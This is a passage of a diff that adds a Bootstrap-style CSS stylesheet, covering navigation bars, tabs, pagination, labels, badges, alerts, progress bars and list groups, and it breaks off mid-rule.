+.input-group-btn:first-child > .btn:not(:first-child), +.input-group-btn:first-child > .btn-group:not(:first-child) > .btn { + border-top-left-radius: 0; + border-bottom-left-radius: 0; +} +.input-group-addon:last-child { + border-left: 0; +} +.input-group-btn { + position: relative; + font-size: 0; + white-space: nowrap; +} +.input-group-btn > .btn { + position: relative; +} +.input-group-btn > .btn + .btn { + margin-left: -1px; +} +.input-group-btn > .btn:hover, +.input-group-btn > .btn:focus, +.input-group-btn > .btn:active { + z-index: 2; +} +.input-group-btn:first-child > .btn, +.input-group-btn:first-child > .btn-group { + margin-right: -1px; +} +.input-group-btn:last-child > .btn, +.input-group-btn:last-child > .btn-group { + margin-left: -1px; +} +.nav { + padding-left: 0; + margin-bottom: 0; + list-style: none; +} +.nav > li { + position: relative; + display: block; +} +.nav > li > a { + position: relative; + display: block; + padding: 10px 15px; +} +.nav > li > a:hover, +.nav > li > a:focus { + text-decoration: none; + background-color: #eee; +} +.nav > li.disabled > a { + color: #777; +} +.nav > li.disabled > a:hover, +.nav > li.disabled > a:focus { + color: #777; + text-decoration: none; + cursor: not-allowed; + background-color: transparent; +} +.nav .open > a, +.nav .open > a:hover, +.nav .open > a:focus { + background-color: #eee; + border-color: #337ab7; +} +.nav .nav-divider { + height: 1px; + margin: 9px 0; + overflow: hidden; + background-color: #e5e5e5; +} +.nav > li > a > img { + max-width: none; +} +.nav-tabs { + border-bottom: 1px solid #ddd; +} +.nav-tabs > li { + float: left; + margin-bottom: -1px; +} +.nav-tabs > li > a { + margin-right: 2px; + line-height: 1.42857143; + border: 1px solid transparent; + border-radius: 4px 4px 0 0; +} +.nav-tabs > li > a:hover { + border-color: #eee #eee #ddd; +} +.nav-tabs > li.active > a, +.nav-tabs > li.active > a:hover, +.nav-tabs > li.active > a:focus { + color: #555; + cursor: default; + background-color: #fff; + border: 1px solid #ddd; + border-bottom-color: transparent; +} +.nav-tabs.nav-justified { + width: 100%; + border-bottom: 0; +} +.nav-tabs.nav-justified > li { + float: none; +} +.nav-tabs.nav-justified > li > a { + margin-bottom: 5px; + text-align: center; +} +.nav-tabs.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-tabs.nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs.nav-justified > li > a { + margin-right: 0; + border-radius: 4px; +} +.nav-tabs.nav-justified > .active > a, +.nav-tabs.nav-justified > .active > a:hover, +.nav-tabs.nav-justified > .active > a:focus { + border: 1px solid #ddd; +} +@media (min-width: 768px) { + .nav-tabs.nav-justified > li > a { + border-bottom: 1px solid #ddd; + border-radius: 4px 4px 0 0; + } + .nav-tabs.nav-justified > .active > a, + .nav-tabs.nav-justified > .active > a:hover, + .nav-tabs.nav-justified > .active > a:focus { + border-bottom-color: #fff; + } +} +.nav-pills > li { + float: left; +} +.nav-pills > li > a { + border-radius: 4px; +} +.nav-pills > li + li { + margin-left: 2px; +} +.nav-pills > li.active > a, +.nav-pills > li.active > a:hover, +.nav-pills > li.active > a:focus { + color: #fff; + background-color: #337ab7; +} +.nav-stacked > li { + float: none; +} +.nav-stacked > li + li { + margin-top: 2px; + margin-left: 0; +} +.nav-justified { + width: 100%; +} +.nav-justified > li { + float: none; +} +.nav-justified > li > a { + margin-bottom: 5px; + text-align: center; +} +.nav-justified > .dropdown .dropdown-menu { + top: auto; + left: auto; +} +@media (min-width: 768px) { + .nav-justified > li { + display: table-cell; + width: 1%; + } + .nav-justified > li > a { + margin-bottom: 0; + } +} +.nav-tabs-justified { + border-bottom: 0; +} +.nav-tabs-justified > li > a { + margin-right: 0; + border-radius: 4px; +} +.nav-tabs-justified > .active > a, +.nav-tabs-justified > .active > a:hover, +.nav-tabs-justified > .active > a:focus { + border: 1px solid #ddd; +} +@media (min-width: 768px) { + .nav-tabs-justified > li > a { + border-bottom: 1px solid #ddd; + border-radius: 4px 4px 0 0; + } + .nav-tabs-justified > .active > a, + .nav-tabs-justified > .active > a:hover, + .nav-tabs-justified > .active > a:focus { + border-bottom-color: #fff; + } +} +.tab-content > .tab-pane { + display: none; + visibility: hidden; +} +.tab-content > .active { + display: block; + visibility: visible; +} +.nav-tabs .dropdown-menu { + margin-top: -1px; + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.navbar { + position: relative; + min-height: 50px; + margin-bottom: 20px; + border: 1px solid transparent; +} +@media (min-width: 768px) { + .navbar { + border-radius: 4px; + } +} +@media (min-width: 768px) { + .navbar-header { + float: left; + } +} +.navbar-collapse { + padding-right: 15px; + padding-left: 15px; + overflow-x: visible; + -webkit-overflow-scrolling: touch; + border-top: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1); +} +.navbar-collapse.in { + overflow-y: auto; +} +@media (min-width: 768px) { + .navbar-collapse { + width: auto; + border-top: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-collapse.collapse { + display: block !important; + height: auto !important; + padding-bottom: 0; + overflow: visible !important; + visibility: visible !important; + } + .navbar-collapse.in { + overflow-y: visible; + } + .navbar-fixed-top .navbar-collapse, + .navbar-static-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + padding-right: 0; + padding-left: 0; + } +} +.navbar-fixed-top .navbar-collapse, +.navbar-fixed-bottom .navbar-collapse { + max-height: 340px; +} +@media (max-device-width: 480px) and (orientation: landscape) { + .navbar-fixed-top .navbar-collapse, + .navbar-fixed-bottom .navbar-collapse { + max-height: 200px; + } +} +.container > .navbar-header, +.container-fluid > .navbar-header, +.container > .navbar-collapse, +.container-fluid > .navbar-collapse { + margin-right: -15px; + margin-left: -15px; +} +@media (min-width: 768px) { + .container > .navbar-header, + .container-fluid > .navbar-header, + .container > .navbar-collapse, + .container-fluid > .navbar-collapse { + margin-right: 0; + margin-left: 0; + } +} +.navbar-static-top { + z-index: 1000; + border-width: 0 0 1px; +} +@media (min-width: 768px) { + .navbar-static-top { + border-radius: 0; + } +} +.navbar-fixed-top, +.navbar-fixed-bottom { + position: fixed; + right: 0; + left: 0; + z-index: 1030; +} +@media (min-width: 768px) { + .navbar-fixed-top, + .navbar-fixed-bottom { + border-radius: 0; + } +} +.navbar-fixed-top { + top: 0; + border-width: 0 0 1px; +} +.navbar-fixed-bottom { + bottom: 0; + margin-bottom: 0; + border-width: 1px 0 0; +} +.navbar-brand { + float: left; + height: 50px; + padding: 15px 15px; + font-size: 18px; + line-height: 20px; +} +.navbar-brand:hover, +.navbar-brand:focus { + text-decoration: none; +} +.navbar-brand > img { + display: block; +} +@media (min-width: 768px) { + .navbar > .container .navbar-brand, + .navbar > .container-fluid .navbar-brand { + margin-left: -15px; + } +} +.navbar-toggle { + position: relative; + float: right; + padding: 9px 10px; + margin-top: 8px; + margin-right: 15px; + margin-bottom: 8px; + background-color: transparent; + background-image: none; + border: 1px solid transparent; + border-radius: 4px; +} +.navbar-toggle:focus { + outline: 0; +} +.navbar-toggle .icon-bar { + display: block; + width: 22px; + height: 2px; + border-radius: 1px; +} +.navbar-toggle .icon-bar + .icon-bar { + margin-top: 4px; +} +@media (min-width: 768px) { + .navbar-toggle { + display: none; + } +} +.navbar-nav { + margin: 7.5px -15px; +} +.navbar-nav > li > a { + padding-top: 10px; + padding-bottom: 10px; + line-height: 20px; +} +@media (max-width: 767px) { + .navbar-nav .open .dropdown-menu { + position: static; + float: none; + width: auto; + margin-top: 0; + background-color: transparent; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } + .navbar-nav .open .dropdown-menu > li > a, + .navbar-nav .open .dropdown-menu .dropdown-header { + padding: 5px 15px 5px 25px; + } + .navbar-nav .open .dropdown-menu > li > a { + line-height: 20px; + } + .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-nav .open .dropdown-menu > li > a:focus { + background-image: none; + } +} +@media (min-width: 768px) { + .navbar-nav { + float: left; + margin: 0; + } + .navbar-nav > li { + float: left; + } + .navbar-nav > li > a { + padding-top: 15px; + padding-bottom: 15px; + } +} +.navbar-form { + padding: 10px 15px; + margin-top: 8px; + margin-right: -15px; + margin-bottom: 8px; + margin-left: -15px; + border-top: 1px solid transparent; + border-bottom: 1px solid transparent; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, .1), 0 1px 0 rgba(255, 255, 255, .1); +} +@media (min-width: 768px) { + .navbar-form .form-group { + display: inline-block; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .form-control { + display: inline-block; + width: auto; + vertical-align: middle; + } + .navbar-form .form-control-static { + display: inline-block; + } + .navbar-form .input-group { + display: inline-table; + vertical-align: middle; + } + .navbar-form .input-group .input-group-addon, + .navbar-form .input-group .input-group-btn, + .navbar-form .input-group .form-control { + width: auto; + } + .navbar-form .input-group > .form-control { + width: 100%; + } + .navbar-form .control-label { + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio, + .navbar-form .checkbox { + display: inline-block; + margin-top: 0; + margin-bottom: 0; + vertical-align: middle; + } + .navbar-form .radio label, + .navbar-form .checkbox label { + padding-left: 0; + } + .navbar-form .radio input[type="radio"], + .navbar-form .checkbox input[type="checkbox"] { + position: relative; + margin-left: 0; + } + .navbar-form .has-feedback .form-control-feedback { + top: 0; + } +} +@media (max-width: 767px) { + .navbar-form .form-group { + margin-bottom: 5px; + } + .navbar-form .form-group:last-child { + margin-bottom: 0; + } +} +@media (min-width: 768px) { + .navbar-form { + width: auto; + padding-top: 0; + padding-bottom: 0; + margin-right: 0; + margin-left: 0; + border: 0; + -webkit-box-shadow: none; + box-shadow: none; + } +} +.navbar-nav > li > .dropdown-menu { + margin-top: 0; + border-top-left-radius: 0; + border-top-right-radius: 0; +} +.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu { + margin-bottom: 0; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom-right-radius: 0; + border-bottom-left-radius: 0; +} +.navbar-btn { + margin-top: 8px; + margin-bottom: 8px; +} +.navbar-btn.btn-sm { + margin-top: 10px; + margin-bottom: 10px; +} +.navbar-btn.btn-xs { + margin-top: 14px; + margin-bottom: 14px; +} +.navbar-text { + margin-top: 15px; + margin-bottom: 15px; +} +@media (min-width: 768px) { + .navbar-text { + float: left; + margin-right: 15px; + margin-left: 15px; + } +} +@media (min-width: 768px) { + .navbar-left { + float: left !important; + } + .navbar-right { + float: right !important; + margin-right: -15px; + } + .navbar-right ~ .navbar-right { + margin-right: 0; + } +} +.navbar-default { + background-color: #f8f8f8; + border-color: #e7e7e7; +} +.navbar-default .navbar-brand { + color: #777; +} +.navbar-default .navbar-brand:hover, +.navbar-default .navbar-brand:focus { + color: #5e5e5e; + background-color: transparent; +} +.navbar-default .navbar-text { + color: #777; +} +.navbar-default .navbar-nav > li > a { + color: #777; +} +.navbar-default .navbar-nav > li > a:hover, +.navbar-default .navbar-nav > li > a:focus { + color: #333; + background-color: #000; +} +.navbar-default .navbar-nav > .active > a, +.navbar-default .navbar-nav > .active > a:hover, +.navbar-default .navbar-nav > .active > a:focus { + color: #555; + background-color: #e7e7e7; +} +.navbar-default .navbar-nav > .disabled > a, +.navbar-default .navbar-nav > .disabled > a:hover, +.navbar-default .navbar-nav > .disabled > a:focus { + color: #ccc; + background-color: transparent; +} +.navbar-default .navbar-toggle { + border-color: #ddd; +} +.navbar-default .navbar-toggle:hover, +.navbar-default .navbar-toggle:focus { + background-color: #ddd; +} +.navbar-default .navbar-toggle .icon-bar { + background-color: #888; +} +.navbar-default .navbar-collapse, +.navbar-default .navbar-form { + border-color: #e7e7e7; +} +.navbar-default .navbar-nav > .open > a, +.navbar-default .navbar-nav > .open > a:hover, +.navbar-default .navbar-nav > .open > a:focus { + color: #555; + background-color: #e7e7e7; +} +@media (max-width: 767px) { + .navbar-default .navbar-nav .open .dropdown-menu > li > a { + color: #777; + } + .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus { + color: #333; + background-color: transparent; + } + .navbar-default .navbar-nav .open .dropdown-menu > .active > a, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #555; + background-color: #e7e7e7; + } + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #ccc; + background-color: transparent; + } +} +.navbar-default .navbar-link { + color: #777; +} +.navbar-default .navbar-link:hover { + color: #333; +} +.navbar-default .btn-link { + color: #777; +} +.navbar-default .btn-link:hover, +.navbar-default .btn-link:focus { + color: #333; +} +.navbar-default .btn-link[disabled]:hover, +fieldset[disabled] .navbar-default .btn-link:hover, +.navbar-default .btn-link[disabled]:focus, +fieldset[disabled] .navbar-default .btn-link:focus { + color: #ccc; +} +.navbar-inverse { + background-color: #222; + border-color: #080808; +} +.navbar-inverse .navbar-brand { + color: #9d9d9d; +} +.navbar-inverse .navbar-brand:hover, +.navbar-inverse .navbar-brand:focus { + color: #fff; + background-color: transparent; +} +.navbar-inverse .navbar-text { + color: #9d9d9d; +} +.navbar-inverse .navbar-nav > li > a { + color: #9d9d9d; +} +.navbar-inverse .navbar-nav > li > a:hover, +.navbar-inverse .navbar-nav > li > a:focus { + color: #fff; + background-color: transparent; +} +.navbar-inverse .navbar-nav > .active > a, +.navbar-inverse .navbar-nav > .active > a:hover, +.navbar-inverse .navbar-nav > .active > a:focus { + color: #fff; + background-color: #080808; +} +.navbar-inverse .navbar-nav > .disabled > a, +.navbar-inverse .navbar-nav > .disabled > a:hover, +.navbar-inverse .navbar-nav > .disabled > a:focus { + color: #444; + background-color: transparent; +} +.navbar-inverse .navbar-toggle { + border-color: #333; +} +.navbar-inverse .navbar-toggle:hover, +.navbar-inverse .navbar-toggle:focus { + background-color: #333; +} +.navbar-inverse .navbar-toggle .icon-bar { + background-color: #fff; +} +.navbar-inverse .navbar-collapse, +.navbar-inverse .navbar-form { + border-color: #101010; +} +.navbar-inverse .navbar-nav > .open > a, +.navbar-inverse .navbar-nav > .open > a:hover, +.navbar-inverse .navbar-nav > .open > a:focus { + color: #fff; + background-color: #080808; +} +@media (max-width: 767px) { + .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header { + border-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu .divider { + background-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a { + color: #9d9d9d; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus { + color: #fff; + background-color: transparent; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus { + color: #fff; + background-color: #080808; + } + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover, + .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus { + color: #444; + background-color: transparent; + } +} +.navbar-inverse .navbar-link { + color: #9d9d9d; +} +.navbar-inverse .navbar-link:hover { + color: #fff; +} +.navbar-inverse .btn-link { + color: #9d9d9d; +} +.navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link:focus { + color: #fff; +} +.navbar-inverse .btn-link[disabled]:hover, +fieldset[disabled] .navbar-inverse .btn-link:hover, +.navbar-inverse .btn-link[disabled]:focus, +fieldset[disabled] .navbar-inverse .btn-link:focus { + color: #444; +} +.breadcrumb { + padding: 8px 15px; + margin-bottom: 20px; + list-style: none; + background-color: #f5f5f5; + border-radius: 4px; +} +.breadcrumb > li { + display: inline-block; +} +.breadcrumb > li + li:before { + padding: 0 5px; + color: #ccc; + content: "/\00a0"; +} +.breadcrumb > .active { + color: #777; +} +.pagination { + display: inline-block; + padding-left: 0; + margin: 20px 0; + border-radius: 4px; +} +.pagination > li { + display: inline; +} +.pagination > li > a, +.pagination > li > span { + position: relative; + float: left; + padding: 6px 12px; + margin-left: -1px; + line-height: 1.42857143; + color: #337ab7; + text-decoration: none; + background-color: #fff; + border: 1px solid #ddd; +} +.pagination > li:first-child > a, +.pagination > li:first-child > span { + margin-left: 0; + border-top-left-radius: 4px; + border-bottom-left-radius: 4px; +} +.pagination > li:last-child > a, +.pagination > li:last-child > span { + border-top-right-radius: 4px; + border-bottom-right-radius: 4px; +} +.pagination > li > a:hover, +.pagination > li > span:hover, +.pagination > li > a:focus, +.pagination > li > span:focus { + color: #23527c; + background-color: #eee; + border-color: #ddd; +} +.pagination > .active > a, +.pagination > .active > span, +.pagination > .active > a:hover, +.pagination > .active > span:hover, +.pagination > .active > a:focus, +.pagination > .active > span:focus { + z-index: 2; + color: #fff; + cursor: default; + background-color: #337ab7; + border-color: #337ab7; +} +.pagination > .disabled > span, +.pagination > .disabled > span:hover, +.pagination > .disabled > span:focus, +.pagination > .disabled > a, +.pagination > .disabled > a:hover, +.pagination > .disabled > a:focus { + color: #777; + cursor: not-allowed; + background-color: #fff; + border-color: #ddd; +} +.pagination-lg > li > a, +.pagination-lg > li > span { + padding: 10px 16px; + font-size: 18px; +} +.pagination-lg > li:first-child > a, +.pagination-lg > li:first-child > span { + border-top-left-radius: 6px; + border-bottom-left-radius: 6px; +} +.pagination-lg > li:last-child > a, +.pagination-lg > li:last-child > span { + border-top-right-radius: 6px; + border-bottom-right-radius: 6px; +} +.pagination-sm > li > a, +.pagination-sm > li > span { + padding: 5px 10px; + font-size: 12px; +} +.pagination-sm > li:first-child > a, +.pagination-sm > li:first-child > span { + border-top-left-radius: 3px; + border-bottom-left-radius: 3px; +} +.pagination-sm > li:last-child > a, +.pagination-sm > li:last-child > span { + border-top-right-radius: 3px; + border-bottom-right-radius: 3px; +} +.pager { + padding-left: 0; + margin: 20px 0; + text-align: center; + list-style: none; +} +.pager li { + display: inline; +} +.pager li > a, +.pager li > span { + display: inline-block; + padding: 5px 14px; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 15px; +} +.pager li > a:hover, +.pager li > a:focus { + text-decoration: none; + background-color: #eee; +} +.pager .next > a, +.pager .next > span { + float: right; +} +.pager .previous > a, +.pager .previous > span { + float: left; +} +.pager .disabled > a, +.pager .disabled > a:hover, +.pager .disabled > a:focus, +.pager .disabled > span { + color: #777; + cursor: not-allowed; + background-color: #fff; +} +.label { + display: inline; + padding: .2em .6em .3em; + font-size: 75%; + font-weight: bold; + line-height: 1; + color: #fff; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + border-radius: .25em; +} +a.label:hover, +a.label:focus { + color: #fff; + text-decoration: none; + cursor: pointer; +} +.label:empty { + display: none; +} +.btn .label { + position: relative; + top: -1px; +} +.label-default { + background-color: #777; +} +.label-default[href]:hover, +.label-default[href]:focus { + background-color: #5e5e5e; +} +.label-primary { + background-color: #337ab7; +} +.label-primary[href]:hover, +.label-primary[href]:focus { + background-color: #286090; +} +.label-success { + background-color: #5cb85c; +} +.label-success[href]:hover, +.label-success[href]:focus { + background-color: #449d44; +} +.label-info { + background-color: #5bc0de; +} +.label-info[href]:hover, +.label-info[href]:focus { + background-color: #31b0d5; +} +.label-warning { + background-color: #f0ad4e; +} +.label-warning[href]:hover, +.label-warning[href]:focus { + background-color: #ec971f; +} +.label-danger { + background-color: #d9534f; +} +.label-danger[href]:hover, +.label-danger[href]:focus { + background-color: #c9302c; +} +.badge { + display: inline-block; + min-width: 10px; + padding: 3px 7px; + font-size: 12px; + font-weight: bold; + line-height: 1; + color: #fff; + text-align: center; + white-space: nowrap; + vertical-align: baseline; + background-color: #777; + border-radius: 10px; +} +.badge:empty { + display: none; +} +.btn .badge { + position: relative; + top: -1px; +} +.btn-xs .badge { + top: 0; + padding: 1px 5px; +} +a.badge:hover, +a.badge:focus { + color: #fff; + text-decoration: none; + cursor: pointer; +} +.list-group-item.active > .badge, +.nav-pills > .active > a > .badge { + color: #337ab7; + background-color: #fff; +} +.list-group-item > .badge { + float: right; +} +.list-group-item > .badge + .badge { + margin-right: 5px; +} +.nav-pills > li > a > .badge { + margin-left: 3px; +} +.jumbotron { + padding: 30px 15px; + margin-bottom: 30px; + color: inherit; + background-color: #eee; +} +.jumbotron h1, +.jumbotron .h1 { + color: inherit; +} +.jumbotron p { + margin-bottom: 15px; + font-size: 21px; + font-weight: 200; +} +.jumbotron > hr { + border-top-color: #d5d5d5; +} +.container .jumbotron, +.container-fluid .jumbotron { + border-radius: 6px; +} +.jumbotron .container { + max-width: 100%; +} +@media screen and (min-width: 768px) { + .jumbotron { + padding: 48px 0; + } + .container .jumbotron, + .container-fluid .jumbotron { + padding-right: 60px; + padding-left: 60px; + } + .jumbotron h1, + .jumbotron .h1 { + font-size: 63px; + } +} +.thumbnail { + display: block; + padding: 4px; + margin-bottom: 20px; + line-height: 1.42857143; + background-color: #fff; + border: 1px solid #ddd; + border-radius: 4px; + -webkit-transition: border .2s ease-in-out; + -o-transition: border .2s ease-in-out; + transition: border .2s ease-in-out; +} +.thumbnail > img, +.thumbnail a > img { + margin-right: auto; + margin-left: auto; +} +a.thumbnail:hover, +a.thumbnail:focus, +a.thumbnail.active { + border-color: #337ab7; +} +.thumbnail .caption { + padding: 9px; + color: #333; +} +.alert { + padding: 15px; + margin-bottom: 20px; + border: 1px solid transparent; + border-radius: 4px; +} +.alert h4 { + margin-top: 0; + color: inherit; +} +.alert .alert-link { + font-weight: bold; +} +.alert > p, +.alert > ul { + margin-bottom: 0; +} +.alert > p + p { + margin-top: 5px; +} +.alert-dismissable, +.alert-dismissible { + padding-right: 35px; +} +.alert-dismissable .close, +.alert-dismissible .close { + position: relative; + top: -2px; + right: -21px; + color: inherit; +} +.alert-success { + color: #3c763d; + background-color: #dff0d8; + border-color: #d6e9c6; +} +.alert-success hr { + border-top-color: #c9e2b3; +} +.alert-success .alert-link { + color: #2b542c; +} +.alert-info { + color: #31708f; + background-color: #d9edf7; + border-color: #bce8f1; +} +.alert-info hr { + border-top-color: #a6e1ec; +} +.alert-info .alert-link { + color: #245269; +} +.alert-warning { + color: #8a6d3b; + background-color: #fcf8e3; + border-color: #faebcc; +} +.alert-warning hr { + border-top-color: #f7e1b5; +} +.alert-warning .alert-link { + color: #66512c; +} +.alert-danger { + color: #a94442; + background-color: #f2dede; + border-color: #ebccd1; +} +.alert-danger hr { + border-top-color: #e4b9c0; +} +.alert-danger .alert-link { + color: #843534; +} +@-webkit-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@-o-keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +@keyframes progress-bar-stripes { + from { + background-position: 40px 0; + } + to { + background-position: 0 0; + } +} +.progress { + height: 20px; + margin-bottom: 20px; + overflow: hidden; + background-color: #f5f5f5; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); + box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1); +} +.progress-bar { + float: left; + width: 0; + height: 100%; + font-size: 12px; + line-height: 20px; + color: #fff; + text-align: center; + background-color: #337ab7; + -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); + box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .15); + -webkit-transition: width .6s ease; + -o-transition: width .6s ease; + transition: width .6s ease; +} +.progress-striped .progress-bar, +.progress-bar-striped { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + -webkit-background-size: 40px 40px; + background-size: 40px 40px; +} +.progress.active .progress-bar, +.progress-bar.active { + -webkit-animation: progress-bar-stripes 2s linear infinite; + -o-animation: progress-bar-stripes 2s linear infinite; + animation: progress-bar-stripes 2s linear infinite; +} +.progress-bar-success { + background-color: #5cb85c; +} +.progress-striped .progress-bar-success { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-info { + background-color: #5bc0de; +} +.progress-striped .progress-bar-info { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-warning { + background-color: #f0ad4e; +} +.progress-striped .progress-bar-warning { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.progress-bar-danger { + background-color: #d9534f; +} +.progress-striped .progress-bar-danger { + background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); + background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent); +} +.media { + margin-top: 15px; +} +.media:first-child { + margin-top: 0; +} +.media, +.media-body { + overflow: hidden; + zoom: 1; +} +.media-body { + width: 10000px; +} +.media-object { + display: block; +} +.media-right, +.media > .pull-right { + padding-left: 10px; +} +.media-left, +.media > .pull-left { + padding-right: 10px; +} +.media-left, +.media-right, +.media-body { + display: table-cell; + vertical-align: top; +} +.media-middle { + vertical-align: middle; +} +.media-bottom { + vertical-align: bottom; +} +.media-heading { + margin-top: 0; + margin-bottom: 5px; +} +.media-list { + padding-left: 0; + list-style: none; +} +.list-group { + padding-left: 0; + margin-bottom: 20px; +} +.list-group-item { + position: relative; + display: block; + padding: 10px 15px; + margin-bottom: -1px; + background-color: #fff; + border: 1px solid #ddd; +} +.list-group-item:first-child { + border-top-left-radius: 4px; + border-top-right-radius: 4px; +} +.list-group-item:last-child { + margin-bottom: 0; + border-bottom-right-radius: 4px; + border-bottom-left-radius: 4px; +} +a.list-group-item { + color: #555; +} +a.list-group-item .list-group-item-heading { + color: #333; +} +a.list-group-item:hover, +a.list-group-item:focus { + color: #555; + text-decoration: none; + background-color: #f5f5f5; +} +.list-group-item.disabled, +.list-group-item.disabled:hover, +.list-group-item.disabled:focus { + color: #777; + cursor: not-allowed; + background-color: #eee; +} +.list-group-item.disabled .list-group-item-heading, +.list-group-item.disabled:hover .list-group-item-heading, +.list-group-item.disabled:focus .list-group-item-heading { + color: inherit; +} +.list-group-item.disabled .list-group-item-text, +.list-group-item.disabled:hover .list-group-item-text, +.list-group-item.disabled:focus .list-group-item-text { + color: #777; +} +.list-group-item.active, +.list-group-item.active:hover, +.list-group-item.active:focus { + z-index: 2; + color: #fff; + background-color: #337ab7; + border-color: #337ab7; +} +.list-group-item.active .list-group-item-heading, +.list-group-item.active:hover .list-group-item-heading, +.list-group-item.active:focus .list-group-item-heading, +.list-group-item.active .list-group-item-heading > small, +.list-group-item.active:hover .list-group-item-heading > small, +.list-group-item.active:focus .list-group-item-heading > small, +.list-group-item.active .list-group-item-heading > .small, +.list-group-item.active:hover .list-group-item-heading > .small, +.list-group-item.active:focus .list-group-item-heading > .small { + color: inherit; +} +.list-group-item.active .list-group-item-text, +.list-group-item.active:hover .list-group-item-text, +.list-group-item.active:focus .list-group-item-text { + color: #c7ddef; +} +.list-group-item-success { + color: #3c763d; + background-color: #dff0d8; +} +a.list-group-item-success { + color: #3c763d; +} +a.list-group-item-success .list-group-item-heading { + color: 